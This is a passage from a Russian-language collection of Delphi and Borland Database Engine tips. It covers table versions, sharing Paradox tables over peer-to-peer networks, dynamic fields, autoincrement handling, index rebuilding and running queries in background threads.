      else
        Check(Res);
    end;
end;


Как узнать версию таблицы

function GetTableVersion(Table: TTable): Longint;
var
  hCursor: hDBICur;
  DT:      TBLFullDesc;
begin
  Check(DbiOpenTableList(Table.DBHandle, True, False,
    PChar(Table.TableName), hCursor));
  Check(DbiGetNextRecord(hCursor, dbiNOLOCK, @DT, nil));
  Result := DT.tblExt.iRestrVersion;
  Check(DbiCloseCursor(hCursor));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Работа с BDE в сети, общий доступ к данным

Cодержание раздела:

Использование BDE в сети
Локальный общий доступ
Использование BDE приложений в Peer-To-Peer сети

См. также статьи в других разделах:
Изменение месторасположения *.NET-файла
Индекс БД в другом каталоге


Использование BDE в сети

1) Может ли мое приложение иметь доступ к файлам, расположенным на сетевых дисках?
Да.

2) Когда я попытался это сделать, программа выдала сообщение об ошибке "Not initialized for accessing network files" (не инициализировано для доступа к сетевым файлам).
Вероятно вам необходимо задать правильный путь к каталогу в поле 'NET DIR' файла IDAPI.CFG. Директория должна быть одна и быть доступна всем пользователям приложения с применением одинаковых подключенных сетевых дисков. (т.е.: если NET DIR указывает на F:\PUBLIC\NETDIR, пользователи с подключенным сетевым диском и имеющим путь G:\NETDIR доступа не получат).

3) Возможно ли запустить приложение, относящееся к описываемой категории, с сетевого диска без установленного на локальной машине BDE (за исключением возможных ссылок в локальном файле WIN.INI на копии элементов программы BDE/IDAPI, расположенных на сетевом диске)?
Да. Установите BDE в сети и затем добавьте следующие секции в файл WIN.INI каждой рабочей станции:

[IDAPI]
CONFIGFILE01=F:\IDAPI\IDAPI.CFG
DLLPATH=F:\IDAPI

[Borland Language Drivers]
LDPath=F:\IDAPI\LANGDRV
...пути должны отражать текущее месторасположение каталога IDAPI.

4) Для установки "NET DIR" мне нужно запустить BDECFG на каждой рабочей станции или просто сделать это на "сервере"?
C помощью утилиты BDECFG отредактируйте файл IDAPI.CFG и сохраните его в сетевом каталоге IDAPI. Следовательно, вам необходимо проделать данную операцию всего-лишь один раз.

5) Если мне нужно сделать это только на сервере, то как все рабочие станции узнают о месторасположении сетевых файлов ("NET DIR")?
Рабочая станция открывает файл IDAPI.CFG из каталога, указанного в WIN.INI, и уже оттуда читает настройки NET DIR.

Eryk
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Локальный общий доступ

...я так понимаю, что LocalShare относится к ситуации, когда другие не-IDAPI приложения могут одновременно иметь доступ к одним и тем же файлам...
Примерно на такие мысли наталкивает поставляемая документация... к сожалению это не так.

LOCALSHARE=False говорит BDE о том, что он должен сам решать при необходимости вопрос о блокировке таблицы/записи в типичных ситуациях, например, когда BDE 'думает' что таблица находится на локальном диске он выключает блокировку для увеличения скорости доступа. К сожалению, логические диски общего пользования в сетях 'p-t-p' программно идентифицируются как локальные с предсказуемо липовыми результатами. Установка LOCALSHARE=True заставляет блокирующий механизм 'включаться' для всех дисков и, следовательно, решает эту проблему.

- Eryk Bottomley
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Использование BDE приложений в Peer-To-Peer сети

Сетью Peer-To-Peer (сеть, где каждая машина действует как клиент и как сервер) может быть одна из следующих сетей, включая другие сетевые платформы, совместимые с ними:

Windows 95
Windows NT
Lantastic
Netware Lite
BDE автоматически обнаруживает таблицы на сетевом диске, но он не может их определить на dedicated сервере или server/client. Dedicated-сервера уведомляют приложение клиента о том, что файл был изменен или заблокирован. Данная функциональность отсутствует в Peer-To-Peer (не-dedicated) сетях. Для ее включения в сетях Peer-To-Peer, установите "LOCAL SHARE" в TRUE в BDE Configuration Utility на странице System. Это должно быть сделано на всех клиентах BDE, которые имеют доступ к таблицам в сетях, указанных выше. В случае файловых серверов Novell данное требование не является необходимым.
Если используемые таблицы - таблицы Paradox, они также должны использовать каталог с сетевым контролем. Данный каталог должен находиться в сети для всех используемых клиентских приложений. Хорошим стилем считается использование отдельного каталога для приложения, сети и таблиц. Поясним примером:

<Каталог общего доступа>
        |
        |--- <Каталог таблиц>
        |--- <Каталог Exe-файлов>
        |--- <Сетевой каталог>
Существуют две различных среды BDE, которые необходимо принимать во внимание:
Использование только 32-битных приложений BDE.
Использование только 32-битных приложений BDE совместно с 16-битными.
Установка только для 32-битных приложений
32-битное BDE полностью поддерживает соглашение об путях UNC вместе с длинными именами файлов. Рекомендуется использование соглашения UNC для всех сетевых соединений BDE. UNC позволяет обойтись без подключения (mapped) сетевых дисков. Это позволяет иметь доступ к таблицам и сетевым каталогам без необходимости заставлять пользователя подключать сетевые диски. UNC имеет следующий синтаксис:

\<Имя сервера>\<Имя каталога общего доступа>\<Путь к каталогу>+<Имя файла>
Вот простой пример стандартного псевдонима (alias) BDE с использованием UNC:
Псевдоним: MyUNCAlias
Тип: STANDARD
Путь: \\FooServer\FooShare\Sharedir\Tables
Драйвер по умолчанию: Paradox
Сетевой каталог может быть установлен и таким способом:
Драйвер: Paradox
Сетевой каталог: \\FooServer\FooShare\Sharedir\NetDir
Сетевой каталог может быть установлен во время выполнения приложения с помощью session.netfiledir (Delphi) или DbiSetProp (C++ / Delphi)
Если по какой-либо причине UNC не может использоваться в 32-битных приложениях, следуйте за следующими инструкциями для среды с 32-битными и 16-битными приложениями BDE.

Установка для 16-битных и 32-битных приложений BDE

Поскольку 16-битное Windows API не поддерживает UNC, ее не поддерживает и 16-битное BDE. Для того, чтобы позволить приложениям иметь общий доступ к таблицам, все клиенты должны подключить один и тот же каталог на сервере. Если сервер также используется и в качестве клиента, то все другие клиенты должны подключить его корневой каталог диска. Логический диск при этом у клиентов может быть разным. Вот несколько примеров с работающими и неработающими настройками:

Клиент1:
Путь: X:\Каталог общего доступа\Таблицы
Клиент2:
Путь: X:\Каталог общего доступа\Таблицы
Работоспособно

Клиент1: (Также машина с таблицами):
Путь: X:\Каталог общего доступа\Таблицы
Клиент2:
Путь: X:\Каталог общего доступа\Таблицы
Работоспособно

Клиент1: (Также машина с таблицами):
Путь: C:\Каталог общего доступа\Таблицы
Клиент2:
Путь: X:\Каталог общего доступа\Таблицы
Клиент3:
Путь: R:\Каталог общего доступа\Таблицы
Работоспособно

Клиент1:
Путь: X:\Каталог общего доступа\Таблицы
Клиент2:
Путь: X:\Таблицы (Где "X:\Таблицы" реально -
"X:\Каталог общего доступа\Таблицы", но имеющий
общий доступ в "Каталог общего доступа")
Неработоспособно. BDE должен иметь возможность
иметь доступ к файлу Network Control (управление
сетью).
Итог (установки для сетей Peer-To-Peer):
16- и/или 32-битные приложения:

В BDE Configuration Utility установите "LOCAL SHARE" в TRUE.
Не используйте UNC-имена.
Не используйте таблицы с длинными именами файлов.
Убедитесь в том, что все клиенты подключены к одному и тому же каталогу на сервере.
Только 32-битные приложения:
В BDE Configuration Utility установите "LOCAL SHARE" в TRUE.
Для получения доступа к сетевому каталогу и каталогу с таблицами используйте UNC-имена.
При невыполнении описанных выше шагов пользователи могут блокировать таблицы с получением следующей ошибки:
"Directory is controlled by other .NET file."
(Каталог управляется другим .NET-файлом)
"File: PDOXUSRS.LCK" ("Файл: PDOXUSRS.LCK")
"Directory: " (Каталог: )
ИЛИ

"Multiple .NET files in use."
(Используются несколько .NET-файлов.)
"File: PDOXUSRS.LCK"
(Файл: PDOXUSRS.LCK)

Взято с http://delphiworld.narod.ru


Работа с полями

Cодержание раздела:

Использование нумерации в TFields
Изменить размер поля или его тип
Динамическое создание полей
Работа с автоинкрементальными (AutoInc) полями
Как задать выражение по умолчанию для объекта TField
Функции редактора полей во время выполнения программы
Создание автоинкрементного поля SQL запросом? New!


Использование нумерации в TFields

Я хочу хранить журнал транзакций в таблице Paradox и хотел бы писать и читать коды транзаций вместо простых целых чисел, которые они представляют в данный момент...

Можете попробовать сделать так:

type Tcodes = (c1,c2,c3,c4);

var code: Tcodes;

code := Tcodes(Table1Field1.AsInteger);
if code in [c2,c4] then .....
  Table1Field1.AsInteger := Integer(code);

Взято с http://delphiworld.narod.ru


Изменить размер поля или его тип

Автор: Reinhard Kalinke

Единственный способ изменить размер поля или его тип - использовать DBIDoRestructure. Вот простой пример, который может вам помочь в этом:

function BDEStringFieldResize(ATable: TTable; AFieldName: string; ANewSize:
  integer): boolean;
type
  TRestructStatus = (rsFieldNotFound, rsNothingToDo, rsDoIt);
var
  hDB: hDBIdb;
  pTableDesc: pCRTblDesc;
  pFldOp: pCROpType; {фактически это массив array of pCROpType}
  pFieldDesc: pFldDesc; {фактически это массив array of pFldDesc}
  CurPrp: CurProps;
  CSubType: integer;
  CCbrOption: CBRType;
  eRestrStatus: TRestructStatus;
  pErrMess: DBIMsg;
  i: integer;
begin
  Result := False;
  eRestrStatus := rsFieldNotFound;
  AFieldName := UpperCase(AFieldName);
  pTableDesc := nil;
  pFieldDesc := nil;
  pFldOp := nil;

  with ATable do
  try

    {убедимся что имеем исключительный доступ и сохраним dbhandle:}
    if Active and (not Exclusive) then
      Close;
    if (not Exclusive) then
      Exclusive := True;
    if (not Active) then
      Open;
    hDB := DBHandle;

    {готовим данные для DBIDoRestructure:}
    BDECheck(DBIGetCursorProps(Handle, CurPrp));
    GetMem(pFieldDesc, CurPrp.iFields * sizeOf(FldDesc));
    BDECheck(DBIGetFieldDescs(Handle, pFieldDesc));
    GetMem(pFldOp, CurPrp.iFields * sizeOf(CROpType));
    FillChar(pFldOp^, CurPrp.iFields * sizeOf(CROpType), 0);

    {ищем в цикле (через fielddesc) наше поле:}
    for i := 1 to CurPrp.iFields do
    begin
      {для ввода мы имеем серийные номера вместо
      Pdox ID, возвращаемых DbiGetFieldDescs:}
      pFieldDesc^.iFldNum := i;
      if (Uppercase(StrPas(pFieldDesc^.szName)) = AFieldName)
        and (pFieldDesc^.iFldType = fldZSTRING) then
      begin
        eRestrStatus := rsNothingToDo;
        if (pFieldDesc^.iUnits1 <> ANewSize) then
        begin
          pFieldDesc^.iUnits1 := ANewSize;
          pFldOp^ := crModify;
          eRestrStatus := rsDoIt;
        end;
      end;
      inc(pFieldDesc);
      inc(pFldOp);
    end; {for}

    {"регулируем" массив указателей:}
    dec(pFieldDesc, CurPrp.iFields);
    dec(pFldOp, CurPrp.iFields);

    {в случае отсутствия операций возбуждаем исключение:}
    case eRestrStatus of
      rsNothingToDo: raise Exception.Create('Ничего не сделано');
      rsFieldNotFound: raise Exception.Create('Поле не найдено');
    end;

    GetMem(pTableDesc, sizeOf(CRTblDesc));
    FillChar(pTableDesc^, SizeOf(CRTblDesc), 0);
    StrPCopy(pTableDesc^.szTblName, TableName);
    {StrPCopy(pTableDesc^.szTblType,szPARADOX); {}
    pTableDesc^.szTblType := CurPrp.szTableType;
    pTableDesc^.iFldCount := CurPrp.iFields;
    pTableDesc^.pecrFldOp := pFldOp;
    pTableDesc^.pfldDesc := pFieldDesc;

    Close;

    BDECheck(DbiDoRestructure(hDB, 1, pTableDesc, nil, nil, nil, False));

  finally
    if pTableDesc <> nil then
      FreeMem(pTableDesc, sizeOf(CRTblDesc));
    if pFldOp <> nil then
      FreeMem(pFldOp, CurPrp.iFields * sizeOf(CROpType));
    if pFieldDesc <> nil then
      FreeMem(pFieldDesc, CurPrp.iFields * sizeOf(FldDesc));
    Open;
  end; {пробуем с table1}
  Result := True;
end;

Взято с http://delphiworld.narod.ru

Примечание Vit: На счёт "Единственный способ" - этот товарищ несколько погорячился. Все базы данных поддерживают SQL запрос вида

ALTER TABLE...

Конкретный формат надо выяснить в справочнике по используемой базе данных, так как он немного различается для разных серверов, но указанный запрос весьма гибок, и применим не только с BDE, но и с другими системами доступа и с любыми базами данных.


Динамическое создание полей

var
  I: Integer;
  Field: TField;
begin
  { Поля можно добавлять только к неактивному набору данных. }
  Table1.Active := False;

  { Распределяем определенные поля если набор данных еще не был активным. }
  Table1.FieldDefs.Update;

  { Создаем все поля из определений и добавляем к набору данных. }
  for I := 0 to Table1.FieldDefs.Count - 1 do
  begin
    { Вот где мы действительно сообщаем набору данных о необходимости создания поля. }
    { Поле "назначается", но нам нужно не это, нам нужна просто ссылка на новое поле. }
    Field := Table1.FieldDefs[I].CreateField(Table1);
  end;

  { Вот пример того, как вы можете добавить дополнительные, вычисленные поля }
  Field := TStringField.Create(Table1);
  Field.FieldName := 'Total';
  Field.Calculated := True;
  Field.DataSet := Table1;

  { Теперь мы можем увидеть наши поля. }
  Table1.Active := True;
end;

Взято с http://delphiworld.narod.ru


Работа с автоинкрементальными (AutoInc) полями

Работа с автоинкрементальным типом поля (Auto-increment, поле с автоприращением)

В приложениях Delphi, при использовании таблиц, содержащих автоинкрементальные поля или поля, автоматически увеличивающие каким-либо способом, неизвестным приложению, свое значение, могут наблюдаться проблемы. Таблицы Paradox, InterBase, Sybase и Informix имеют средства автоматической вставки и обновления значений полей, без вмешательства сервисов и конечных приложений. Тем не менее, не каждая операция с таблицой поддерживается таким механизмом. Данный документ призван продемонстрировать основные методы работы с такими типами полей в таблицах Paradox 5.0, Informix 5.x, MS/Sybase SQL Server 4.x, InterBase 4.0 и Local InterBase.

У каждого типа таблицы за кулисами работает собственный механизм. Таблицы Paradox поддерживают автоинкрементальный (Autoincrement) тип поля. Когда к таким таблицам добавляются новые записи, Borland Database Engine определяет максимальное текущее значение в данной колонке, прибавляет единицу, и обновляет новую строку с новым значением.

Для таблиц Informix данное поведение предусматривается специфическим типом Informix-поля, названного Serial. Колонки Serial отличаются от автоприращиваемых (Autoincrement) полей Paradox тем, что в таблицах Informix значения этого типа полей могут быть изменены, тогда как в таблицах Paradox они предназначены только для чтения.

Таблицы InterBase и MS/Sybase SQL Server не имеют поддерживающего данную характеристику специального типа поля, но для выполнения той же задачи можно воспользоваться триггерами. Триггеры являются специализированными процедурами, которые находятся на сервере баз данных и автоматически выполняются в ответ на какое-либо событие, например, добавление в таблицу, обновление и удаление. Использование таблиц со связанными триггерами может быть особенно проблематичным, поскольку триггеры способны делать намного больше функций, чем просто увеличивать значения приращиваемой колонки.

Три функциональные области, которые могут влиять на данный тип поля в случае простой вставки, batchmoves и привязки (Linking) таблицы.

Обработка Update и/или Append BatchMoves

Таблицы Paradox

Поскольку автоинкрементальный тип поля является типом только для чтения, то попытка вызвать операцию batchmove с данной колонкой в целевой таблице может привести к ошибке. Для того, чтобы обойти это, свойство компонента TBatchMove Mappings должно быть установлено так, чтобы поля исходной таблицы соответствовали полям целевой таблицы, за исключением ее автоинкрементальных полей.

Таблицы Informix

Групповое перемещение строк в таблицу Informix с колонками, имеющими тип Serial, ошибки не вызовет. Тем не менее, должны вас предупредить о возможных проблемах, поскольку Serial-колонки имеют возможность обновления и часто используются в качестве первичного ключа.

Таблицы InterBase
Таблицы MS/Sybase SQL Server

Триггеры в таблицах InterBase и SQL Server могут отследить любые неверные изменения, сделанные в таблице, но это всецело зависит от установок самого триггера. Здесь также вас необходимо предупредить о возможных проблемах, поскольку обновляемые триггером колонки могут быть использованы в качестве первичного ключа.

Привязки таблиц посредством MasterSource & MasterFields

Таблицы Paradox
Таблицы Informix

Если свойства MasterFields и MasterSource используются для привязки таблиц с отношениями мастер-деталь и одно из полей в "деталь"-таблице является автоинкрементальным или Serial-полем, то соответствующее поле в "мастер"-таблице должно иметь тип Long Integer или быть Serial-полем. Если "мастер"-таблица не является таблицей Paradox, то ключевое поле "мастер"-таблицы может быть полем любого целого типа, которого она поддерживает.

Таблицы InterBase
Таблицы MS/Sybase SQL Server

Привязка с использованием данного типа таблиц не вызывает проблем, если пользоваться полями, изменяемые триггером. Единственное требование заключается в сопоставлении необходимых типов колонок обоих таблиц.

Простая вставка/обновление (Inserts/Updates)

Таблицы Paradox

Поскольку автоинкрементальные поля Paradox имеют аттрибут только для чтения, они обычно не предназначены для обновления и вставки новых записей. Следовательно, свойство Required для field-компонентов, базирующихся на автоинкрементальных полях, должны всегда быть установлены в False. Это может быть выполнено из Delphi с помощью Fields Editor определением field-компонентов в режиме разработки) двойной щелчок на компоненте TQuery или TTable), или во время работы программы с помощью следующего кода:

Table1.Fields[0].Required := False;

или

Table1.FieldByName('Fieldname').Required := False;

Таблицы Informix

Хотя Serial-поля Informix и являются обновляемыми, но если у них должна быть использована характеристика автоприращения, то свойство Required для field-компонентов, базирующихся на таком поле, должно быть установлена в False. Делайте все также, как это было описано для таблиц Paradox.

Таблицы InterBase
Таблицы MS/Sybase SQL Server

Обработка вставки этих изменяемых триггером типов таблиц требует предпринять некоторое количество шагов. Дополнительные шаги особенно необходимы в том случае, если вставка выполняется посредством стандартных элементов управления для работы с базами данных, типа DBEdits или DBMemos.

Вставка строк в изменяемые триггерами InterBase- и SQL Server таблицы может с достаточной долей вероятности вызвать сообщение об ошибке 'Record/Key Deleted'. Это сообщение об ощибки появляется несмотря на то, что таблица правильно обновляется на сервере. Это происходит в случае, если:

1. Триггер обновляет первичный ключ. Ошибка может возникнуть не только при использовании триггера, но триггер является наиболее вероятной причиной ошибки.

2a. Другие колонки таблицы имеют связанные значения по умолчанию. Это выполняется ПО УМОЛЧАНИЕ в случае создания таблицы InterBase или хранимой на сервере SQL Server процедурой sp_bindefault.

или

2b. При вставке новой строки обновляются поля, имеющие тип Blob.

или

2b. В таблице InterBase определены калькулируемые поля.

Основополагающая причина этих ошибок кроется в том, что когда запись (или идентификационный ключ) изменяется на сервере, BDE больше не имеет способов идентифицировать запись для ее повторного поиска. То есть запись больше не появляется, как это было бы, если бы ее "запостили", следовательно, BDE будет думать, что запись удалена (или изменен ключ).

Во-первых, field-компоненты изменяемых триггером полей должны иметь свойство Required, установленное в False. Делайте все также, как это было описано для таблиц Paradox.

Во-вторых, чтобы избежать случайных ошибок, установите порядок таблицы по индексу, не использующему поля, обновляемые триггером. Это также не позволит вновь введенной записи исчезать сразу после ее вставки.

Наконец, если условие 1, приведенное выше, невозможно, но возможно наступление событий 2a, 2b или 2c, то необходимо создать обработчик события AfterPost компонента TTable как показано ниже:

procedure TForm1.Table1AfterPost(DataSet: TDataset);
begin
  Table1.Refresh;
end;

Метод Refresh вновь перечитывает значения, измененные сервером.

Если выполнение условий 2a, 2b или 2c невозможно, то таблица могла бы быть обновлена без элементов управления Delphi для работы с базами данных. Это может быть выполенено с помощью компонента TQuery, ссылающегося на ту же самую таблицу. После того, как будет послан запрос на обновление, любые TTable-компоненты, использующие ту же самую таблицу, должны быть обновлены (Refreshed).
Взято с http://delphiworld.narod.ru


Как задать выражение по умолчанию для объекта TField

Это будет работать, если вы уже установили атрибуты поля и ассоциировали его с полем вашей таблицы. Если вы установили значение в Инспекторе Объектов, т.е. задали строку, не думайте, что это сработает во время выполнения приложения. Если вы попытаетесь во время прогона установить свойство TField.DefaultExpression примерно так:

MyField.DefaultExpression := 'MyValue';

то это скомпилируется, но при создании в таблице новой записи, скажем, при щелчке на кнопке + в DBNavigator, значения по умолчанию вы не получите. Чтобы во время работы приложения все работало, код должен быть таким:

MyField.DefaultExpression := '''MyValue''';

В Инспекторе Объектов вам нужно просто поместить значение 'MyValue' (используя одинарные кавычки).

Взято с http://delphiworld.narod.ru


Функции редактора полей во время выполнения программы

Возможен ли вызов функций редактора полей (Fields Editor) во время выполнения программы?

Да. Если вы определили поля во время разработки приложения, то во время выполнения можно менять их свойства (например, Size).

Например, следующий код изменяет каждый размер поля TField.Size так, чтобы соответствовать фактическому размеру поля открываемого набора данных:

procedure SetupFieldsAndOpenDataset(DataSet: TDataSet);
var
  FieldNum, DefNum: Integer;
begin
  with DataSet do
  begin
    if Active then
      Close;
    FieldDefs.Update; {набор данных должен быть закрыт}
    {ищем каждое предопределенное TField в DataSet.FieldDefs:}
    for FieldNum := FieldCount - 1 downto 0 do
      with Fields[FieldNum] do
      begin
        DefNum := FieldDefs.IndexOf(FieldName);
        if DefNum < 0 then
          raise Exception.CreateFmt(
            'Поле "%s" не найдено в наборе данных "%s"',
            [FieldName, Dataset.Name]);
        {устанавливаем свойство size:}
        Size := FieldDefs[DefNum].Size;
      end;
    Open;
  end;
end;

Взято с http://delphiworld.narod.ru


Создание автоинкрементного поля SQL запросом?

{
  Lets say that we wish to create a fallawing number (Autoincrese) of an item,
  without using the AutoIncrese filed.
  This is usfull when for example there is more users from the same IP that log
  in or any other things that you wish.

  This example will show you how to do it with some checking of filled data,
  but it can be done anyway you wish.

  You need a Table with at least 2 fileds with number casting, and a TQUERY component.
}

function TForm1.GetNextNumber : integer;
begin
 qryMain.Active := False;
 qryMain.SQL.Clear;
 qryMain.SQL.Add('Select Max(FieldToIncrease) from tblMain where (Cheking >=1);');
 qryMain.Active := True; //We executed the query

 if qryMain.RecordCount >= 0 then
  result := qryMain.FieldByName('FieldToIncrese').AsInteger +1;
 else result := 1;
end;

...

procedure TForm1.SetNextNumber;
begin
 //You must first see if the table is in insert/update mode before using this procedure.
 tblMain.FieldByName('FieldToIncrese').AsInteger := GetNextNumber;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Работа с индексами

Cодержание раздела:

Убывающий индекс
Создание индекса
Поиск фраз и записей переменной длины
Как добиться верной работы фильтра на запросах и на неиндексированных таблицах
Индекс БД в другом каталоге
Как восстановить индекс Paradox?
Как восстановить индексы? New!
Почему не всегда верно обновляются IndexDefs по Update New!

См. также статьи в других разделах:
Создание индексного файла из Delphi
Database index out of date error
Обработка исключения index not found
Индексы выражений
Можно-ли создать индекс по полю view?
Как пересоздать индексы?
Paradox и неверные индексы Win95
Работа с индексами Clipper'а


Убывающий индекс

Table1.AddIndex('NewIndex', 'CustNo;CustName', [ixDescending]);

Взято с http://delphiworld.narod.ru


Создание индекса

Автор: OAmiry (Borland)

Ниже приведен код обработчика кнопки OnClick, с помощью которого строится индекс:

procedure TForm1.Button1Click(Sender: TObject);
var
  bActive, bExclusive: Boolean;
begin
  bActive := Table1.Active;
  bExclusive := Table1.Exclusive;
  Table1.IndexDefs.Update;
  with Table1 do
  begin
    Close;
    {таблица dBASE должна быть открыта в монопольном (exclusive) режиме}
    Exclusive := TRUE;
    Open;
    if Table1.IndexDefs.IndexOf('FNAME') <> 0 then
      Table1.AddIndex('FNAME', 'FNAME', []);
    Close;
    Exclusive := bExclusive;
    Active := bActive;
  end;
end;

Если вы собираетесь запускать проект из Delphi, пожалуйста убедитесь в том, что свойство таблицы Active в режиме проектирования установлено в False.

Взято с http://delphiworld.narod.ru


Поиск фраз и записей переменной длины

Для текста переменной длины вы можете использовать DBmemo. Большинство людей это делают сканированием "на лету" (когда оператор постит запрос), но для реального ускорения процесса можно попробовать способ пре-сканирования, который делают "большие мальчики" (операторы больших баз данных):

при внесении в базу данных новой записи она сканируется на предмет определения ключевых слов (это может быть как предопределенный список ключевых слов, так и всех слов, не встречающиеся в стоп-листе [пример: "the", "of", "and"])

ключевые слова вносятся в список ключевых слов со ссылкой на номер записи, например, "hang",46 или "PC",22.

когда пользователь делает запрос, мы извлекаем все записи, где встречается каждое из ключевых слов, например, "hang" может возвратить номера записей 11, 46 и 22, тогда как "PC" - записи с номерами 91, 22 и 15.

затем мы объединяем числа из всех списков c помощью какого-либо логического оператора, например, результатом приведенного выше примера может быть запись под номером 22 (в случае логического оператора AND), или записи 11, 15, 22, 46 и 91 (в случае оператора OR). Затем извлекайте и выводите эти записи.

для синонимов определите таблицу синонимов (например, "hang","kaput"), и также производите поиск синонимов, добавляя их к тому же списку как и оригинальное слово.

слова, имеющие общие окончания (например, "hang" и "hanged"), можно также сделать синонимами, или, как это делает большинство систем, производить анализ окончаний слов, вычисляя корень по их перекрытию (например, слову "hang" соответствует любое слово, чьи первые 4 буквы равны "hang").

Конечно, есть множестно технических деталей, которые необходимо учесть, например, организация списков, их эффективное управление и объединение. Оптимизация этой характеристики может вам дать очень быстрое время поиска (примером удачный реализаций могут служить двигатели поиска Nexus, Lycos или WebCrawler, обрабатывающие сотни тысяч записей в течение секунды).

Взято с http://delphiworld.narod.ru


Как добиться верной работы фильтра на запросах и на неиндексированных таблицах

Автор: Nomadic

(Т.е. при работе программы наблюдалась следующая картина: в результате очередной фильтрации оставалось видно 4 записи из восьми. Добавляем букву к фильтру, остается, допустим, две. Убираем букву, которую только что добавили, в гриде все равно видно только две записи)

Эта проблема была в Delphi 3.0 только на TQuery, а в Delphi 3.01 появилась и в TTable. Лечится так (простой пример):

procedure TMainForm.Edit1Change(Sender: TObject);
begin
  if length(Edit1.Text) > 0 then
  begin
    Table1.Filtered := TRUE;
    UpdateFilter(Table1);
  end
  else
    Table1.Filtered := FALSE;
end;

procedure TMainForm.UpdateFilter(DataSet: TDataSet);
var
  FR: TFilterRecordEvent;
begin
  with DataSet do
  begin
    FR := OnFilterRecord;
    if Assigned(FR) and Active then
    begin
      DisableControls;
      try
        OnFilterRecord := nil;
        OnFilterRecord := FR;
      finally
        EnableControls;
      end;
    end;
  end;
end;

Взято с http://delphiworld.narod.ru


Индекс БД в другом каталоге

Подскажите как работать c dbf под Delphi 5 , когда индексы расположены в другом каталоге?

Serg
(10.01.01 19:54) можно сделать следующее:

Vnhead_Cdx := TStringList.Create;
Vnhead_Cdx.Add('c:\parus\bumi1\idx\vnhead.cdx');
Vnhead.IndexFiles := Vnhead_Cdx;

при это сам dbf находится в c:\parus\bumi1\dbf

Взято с сайта http://blackman.wp-club.net/


Как восстановить индекс Paradox?

BDE включает функцию для этого - DbiRegenIndexes.
Copyright © 1996 Epsylon Technologies
Взято из FAQ Epsylon Technologies (095)-913-5608; (095)-913-2934; (095)-535-5349


Как восстановить индексы?

procedure TForm1.Button1Click(Sender: TObject);
begin
  Table.Close;
  Table.Exclusive := True;
  Table.Open;
  DbiRegenIndexes(Table.Handle);
  Table.Close;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Почему не всегда верно обновляются IndexDefs по Update

Ошибка в VCL.
А помогает добавление fUpdated:=false; в теле процедуры TIndexDefs.Update.
Или убиением владельца через Free, и пересозданием.

Автор: Nomadic

Взято с http://delphiworld.narod.ru


Работа с запросами SQL в BDE

Cодержание раздела:

Выполнение запросов к базе данных в фоне
BDE: Несколько SQL-запросов одним махом

См. также другие разделы:
Работа с SQL
Базы данных с нуля (статья)


Выполнение запросов к базе данных в фоне

Данный документ объясняет как выполнить запрос в фоновом режиме, используя класс TThread. Для получения общей информации о классе TThread, пожалуйста обратитесь к документации Borland и электронной справке. Для понимания данного документа вам необходимо иметь представление о том, как работать с компонентами для работы с базами данных, поставляемых в комплекте с Delphi 2.0.

Для осуществления потокового запроса необходимо выполнение двух требований. Во-первых, потоковый запрос должен находиться в своей собственной сессии с использованием отдельного компонента TSession. Следовательно, на вашей форме должен находиться компонент TSession, имя которого должно быть назначено свойству SessonName компонента TQuery, используемого для выполнения потокового запроса. Для каждого используемого в потоке компонента TQuery вы должны использовать отдельный компонент TSession. При использовании компонента TDataBase, для отдельного потокового запроса должен также использоваться отдельный TDataBase. Второе требование заключается в том, что компонент TQuery, используемый в потоке, не должен подключаться в контексте это потока к TDataSource. Это должно быть сделано в контексте первичного потока.

Приведенный ниже пример кода иллюстрирует описываемый процесс. Данный модуль демонстрирует форму, которая содержит по два экземпляра следующих компонентов: TSession, TDatabase, TQuery, TDataSource и TDBGrid. Данные компоненты имеют следующие значения свойств:

  Session1
   Active   True;
   SessionName   "Ses1"

  DataBase1
   AliasName   "IBLOCAL"
   DatabaseName   "DB1"
   SessionName   "Ses1"

  Query1
   DataBaseName   "DB1"
   SessionName   "Ses1"
   SQL.Strings   "Select * from employee"

  DataSource1
   DataSet   ""

  DBGrid1
   DataSource   DataSource1

  Session2
   Active   True;
   SessionName   "Ses2"

  DataBase2
   AliasName   "IBLOCAL"
   DatabaseName   "DB2"
   SessionName   "Ses2"

  Query2
   DataBaseName   "DB2"
   SessionName   "Ses2"
   SQL.Strings   "Select * from customer"

  DataSource2
   DataSet   ""

  DBGrid1
   DataSource   DataSource2

Обратите внимание на то, что свойство DataSet обоих компонентов TDataSource первоначально никуда не ссылается. Оно устанавливается во время выполнения приложения, и это проиллюстрировано в коде.

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls, Grids, DBGrids, DB, DBTables;

type

  TForm1 = class(TForm)
    Session1: TSession;
    Session2: TSession;
    Database1: TDatabase;
    Database2: TDatabase;
    Query1: TQuery;
    Query2: TQuery;
    DataSource1: TDataSource;
    DataSource2: TDataSource;
    DBGrid1: TDBGrid;
    DBGrid2: TDBGrid;
    GoBtn1: TButton;
    procedure GoBtn1Click(Sender: TObject);
  end;

  TQueryThread = class(TThread)
  private
    FSession: TSession;
    FDatabase: TDataBase;
    FQuery: TQuery;
    FDatasource: TDatasource;
    FQueryException: Exception;
    procedure ConnectDataSource;
    procedure ShowQryError;
  protected
    procedure Execute; override;
  public
    constructor Create(Session: TSession; DataBase:
      TDatabase; Query: TQuery; DataSource: TDataSource);
      virtual;
  end;

var
  Form1: TForm1;

implementation

constructor TQueryThread.Create(Session: TSession; DataBase: TDatabase; Query:
  TQuery; Datasource: TDataSource);
begin
  inherited Create(True); // Создаем поток c состоянием suspendend
  FSession := Session; // подключаем все privat-поля
  FDatabase := DataBase;
  FQuery := Query;
  FDataSource := Datasource;
  FreeOnTerminate := True;
    // Устанавливаем флаг освобождения потока после его завершения
  Resume; // Продолжение выполнения потока
end;

procedure TQueryThread.Execute;
begin
  try
    { Выполняем запрос и подключаем источник данных к компоненту TQuery,
    вызывая ConnectDataSource из основного потока
    (для этой цели используем Synchronize)}
    FQuery.Open;
    Synchronize(ConnectDataSource);
  except
    { Ловим исключение (если оно происходит) и его дескриптор
    в контексте основного потока (для этой цели используем
    Synchronize). }
    FQueryException := ExceptObject as Exception;
    Synchronize(ShowQryError);
  end;
end;

procedure TQueryThread.ConnectDataSource;
begin
  FDataSource.DataSet := FQuery; // Подключаем DataSource к TQuery
end;

procedure TQueryThread.ShowQryError;
begin
